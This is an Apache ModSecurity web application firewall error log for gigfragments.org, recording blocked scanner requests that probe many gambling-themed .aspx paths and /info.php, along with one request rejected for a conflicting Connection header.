[Mon Mar 02 01:52:57.610143 2026] [:error] [pid 53585:tid 53594] [client 20.63.44.70:52821] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaR8-XbCvYsvu6kKhM2pfwAAAAY"]
[Mon Mar 02 01:52:58.443597 2026] [:error] [pid 53181:tid 53530] [client 20.63.44.70:60483] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaR8-or_0T1SazTrJOBBawAAAQ8"]
[Mon Mar 02 01:52:59.286585 2026] [:error] [pid 53182:tid 53553] [client 20.63.44.70:52863] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaR8-_v073cA6eM1YCTV3wAAAMo"]
[Mon Mar 02 01:53:00.119881 2026] [:error] [pid 53181:tid 53527] [client 20.63.44.70:28558] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaR8_Ir_0T1SazTrJOBBdQAAAQw"]
[Mon Mar 02 02:45:45.214439 2026] [:error] [pid 53181:tid 53522] [client 43.135.145.73:58772] [client 43.135.145.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaSJWYr_0T1SazTrJOBetAAAAQc"]
[Mon Mar 02 03:37:08.716925 2026] [:error] [pid 26940:tid 26959] [client 54.37.252.36:33006] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaSVZBrUg-j5GLDtRFk-MQAAAE8"]
[Mon Mar 02 03:37:10.602334 2026] [:error] [pid 53182:tid 53566] [client 54.37.252.36:40906] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaSVZvv073cA6eM1YCQYcAAAANY"]
[Mon Mar 02 03:37:12.924092 2026] [:error] [pid 53181:tid 53533] [client 54.37.252.36:40912] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaSVaIr_0T1SazTrJOB1WAAAARI"]
[Mon Mar 02 03:37:14.880958 2026] [:error] [pid 53181:tid 53535] [client 54.37.252.36:40928] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaSVaor_0T1SazTrJOB1XQAAARQ"]
[Mon Mar 02 03:37:16.880514 2026] [:error] [pid 53180:tid 53466] [client 54.37.252.36:40942] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaSVbDPPJpDOBvYnaa2D4QAAAZY"]
[Mon Mar 02 03:37:18.852434 2026] [:error] [pid 53181:tid 53517] [client 54.37.252.36:51316] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaSVbor_0T1SazTrJOB1bAAAAQM"]
[Mon Mar 02 03:37:20.903350 2026] [:error] [pid 53585:tid 53605] [client 54.37.252.36:51324] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aaSVcHbCvYsvu6kKhM0FOQAAABE"]
[Mon Mar 02 03:37:22.858618 2026] [:error] [pid 53585:tid 53604] [client 54.37.252.36:51340] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaSVcnbCvYsvu6kKhM0FTgAAABA"]
[Mon Mar 02 03:37:24.763184 2026] [:error] [pid 26940:tid 26960] [client 54.37.252.36:51354] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aaSVdBrUg-j5GLDtRFk-YwAAAFA"]
[Mon Mar 02 03:37:26.780168 2026] [:error] [pid 53180:tid 53460] [client 54.37.252.36:51356] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaSVdjPPJpDOBvYnaa2D7QAAAZA"]
[Mon Mar 02 03:37:28.651207 2026] [:error] [pid 26940:tid 26966] [client 54.37.252.36:35566] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaSVeBrUg-j5GLDtRFk-egAAAFY"]
[Mon Mar 02 03:37:30.517134 2026] [:error] [pid 26940:tid 26966] [client 54.37.252.36:35568] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aaSVehrUg-j5GLDtRFk-hwAAAFY"]
[Mon Mar 02 03:37:32.512022 2026] [:error] [pid 26940:tid 26968] [client 54.37.252.36:35574] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aaSVfBrUg-j5GLDtRFk-lwAAAFg"]
[Mon Mar 02 03:37:34.660605 2026] [:error] [pid 53182:tid 53543] [client 54.37.252.36:35576] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aaSVfvv073cA6eM1YCQYpQAAAMA"]
[Mon Mar 02 03:37:36.714283 2026] [:error] [pid 26940:tid 26955] [client 54.37.252.36:35582] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aaSVgBrUg-j5GLDtRFk-xQAAAEs"]
[Mon Mar 02 03:37:38.672152 2026] [:error] [pid 26940:tid 26951] [client 54.37.252.36:51668] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aaSVghrUg-j5GLDtRFk-2wAAAEc"]
[Mon Mar 02 03:37:40.744841 2026] [:error] [pid 53181:tid 53523] [client 54.37.252.36:51684] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaSVhIr_0T1SazTrJOB1nQAAAQg"]
[Mon Mar 02 03:37:42.817565 2026] [:error] [pid 26940:tid 26962] [client 54.37.252.36:51686] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aaSVhhrUg-j5GLDtRFk_DAAAAFI"]
[Mon Mar 02 03:37:44.834898 2026] [:error] [pid 53182:tid 53546] [client 54.37.252.36:51694] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aaSViPv073cA6eM1YCQYwwAAAMM"]
[Mon Mar 02 03:37:46.835625 2026] [:error] [pid 53182:tid 53561] [client 54.37.252.36:51704] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaSVivv073cA6eM1YCQYxQAAANE"]
[Mon Mar 02 03:37:48.941456 2026] [:error] [pid 26940:tid 26954] [client 54.37.252.36:33394] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaSVjBrUg-j5GLDtRFk_YgAAAEo"]
[Mon Mar 02 03:37:51.207310 2026] [:error] [pid 53182:tid 53566] [client 54.37.252.36:33400] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aaSVj_v073cA6eM1YCQYygAAANY"]
[Mon Mar 02 03:37:53.102678 2026] [:error] [pid 53181:tid 53538] [client 54.37.252.36:33408] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aaSVkYr_0T1SazTrJOB1sgAAARc"]
[Mon Mar 02 03:37:55.053749 2026] [:error] [pid 53182:tid 53559] [client 54.37.252.36:33424] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aaSVk_v073cA6eM1YCQY5AAAAM8"]
[Mon Mar 02 03:37:56.909082 2026] [:error] [pid 53180:tid 53468] [client 54.37.252.36:33430] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaSVlDPPJpDOBvYnaa2ECgAAAZg"]
[Mon Mar 02 03:37:58.808066 2026] [:error] [pid 53182:tid 53558] [client 54.37.252.36:52514] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaSVlvv073cA6eM1YCQY8QAAAM4"]
[Mon Mar 02 03:38:00.808070 2026] [:error] [pid 53585:tid 53600] [client 54.37.252.36:52530] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaSVmHbCvYsvu6kKhM0FvwAAAAw"]
[Mon Mar 02 03:38:02.716329 2026] [:error] [pid 53182:tid 53551] [client 54.37.252.36:52532] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aaSVmvv073cA6eM1YCQZKwAAAMg"]
[Mon Mar 02 03:38:04.584046 2026] [:error] [pid 53181:tid 53539] [client 54.37.252.36:52542] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aaSVnIr_0T1SazTrJOB11gAAARg"]
[Mon Mar 02 03:38:40.945816 2026] [:error] [pid 26940:tid 26951] [client 54.37.252.36:52548] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaSVwBrUg-j5GLDtRFlA8QAAAEc"]
[Mon Mar 02 03:38:42.846892 2026] [:error] [pid 53585:tid 53596] [client 54.37.252.36:36896] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aaSVwnbCvYsvu6kKhM0GYwAAAAg"]
[Mon Mar 02 03:38:44.627763 2026] [:error] [pid 53585:tid 53588] [client 54.37.252.36:36900] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaSVxHbCvYsvu6kKhM0GcwAAAAA"]
[Mon Mar 02 03:38:46.552290 2026] [:error] [pid 26940:tid 26944] [client 54.37.252.36:36908] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaSVxhrUg-j5GLDtRFlBCgAAAEA"]
[Mon Mar 02 03:38:48.668289 2026] [:error] [pid 26940:tid 26954] [client 54.37.252.36:33440] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaSVyBrUg-j5GLDtRFlBFgAAAEo"]
[Mon Mar 02 03:38:50.590434 2026] [:error] [pid 53181:tid 53535] [client 54.37.252.36:33442] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaSVyor_0T1SazTrJOB2QgAAARQ"]
[Mon Mar 02 03:38:52.506095 2026] [:error] [pid 53181:tid 53538] [client 54.37.252.36:33446] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaSVzIr_0T1SazTrJOB2RAAAARc"]
[Mon Mar 02 03:38:54.291193 2026] [:error] [pid 53182:tid 53568] [client 54.37.252.36:33452] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaSVzvv073cA6eM1YCQZggAAANg"]
[Mon Mar 02 03:38:56.327262 2026] [:error] [pid 26940:tid 26954] [client 54.37.252.36:33454] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aaSV0BrUg-j5GLDtRFlBNwAAAEo"]
[Mon Mar 02 03:38:58.235116 2026] [:error] [pid 53182:tid 53566] [client 54.37.252.36:51504] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aaSV0vv073cA6eM1YCQZkQAAANY"]
[Mon Mar 02 03:39:00.144567 2026] [:error] [pid 53182:tid 53565] [client 54.37.252.36:51516] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aaSV1Pv073cA6eM1YCQZmQAAANU"]
[Mon Mar 02 03:39:02.054080 2026] [:error] [pid 53585:tid 53595] [client 54.37.252.36:51522] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aaSV1nbCvYsvu6kKhM0GoAAAAAc"]
[Mon Mar 02 03:39:04.151518 2026] [:error] [pid 53180:tid 53449] [client 54.37.252.36:51530] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aaSV2DPPJpDOBvYnaa2EXQAAAYU"]
[Mon Mar 02 03:39:06.064784 2026] [:error] [pid 26940:tid 26959] [client 54.37.252.36:51544] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaSV2hrUg-j5GLDtRFlBQgAAAE8"]
[Mon Mar 02 03:39:07.967620 2026] [:error] [pid 26940:tid 26947] [client 54.37.252.36:51558] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aaSV2xrUg-j5GLDtRFlBRQAAAEM"]
[Mon Mar 02 03:39:10.038359 2026] [:error] [pid 26940:tid 26954] [client 54.37.252.36:38074] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aaSV3hrUg-j5GLDtRFlBTAAAAEo"]
[Mon Mar 02 03:39:12.066611 2026] [:error] [pid 26940:tid 26953] [client 54.37.252.36:38084] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aaSV4BrUg-j5GLDtRFlBVAAAAEk"]
[Mon Mar 02 03:39:13.992207 2026] [:error] [pid 53181:tid 53518] [client 54.37.252.36:38096] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaSV4Yr_0T1SazTrJOB2ZAAAAQQ"]
[Mon Mar 02 03:39:16.054794 2026] [:error] [pid 53180:tid 53457] [client 54.37.252.36:38104] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aaSV5DPPJpDOBvYnaa2EcwAAAY0"]
[Mon Mar 02 03:39:18.097578 2026] [:error] [pid 26940:tid 26951] [client 54.37.252.36:38112] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aaSV5hrUg-j5GLDtRFlBeAAAAEc"]
[Mon Mar 02 03:39:20.134649 2026] [:error] [pid 53182:tid 53568] [client 54.37.252.36:56998] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aaSV6Pv073cA6eM1YCQZ5QAAANg"]
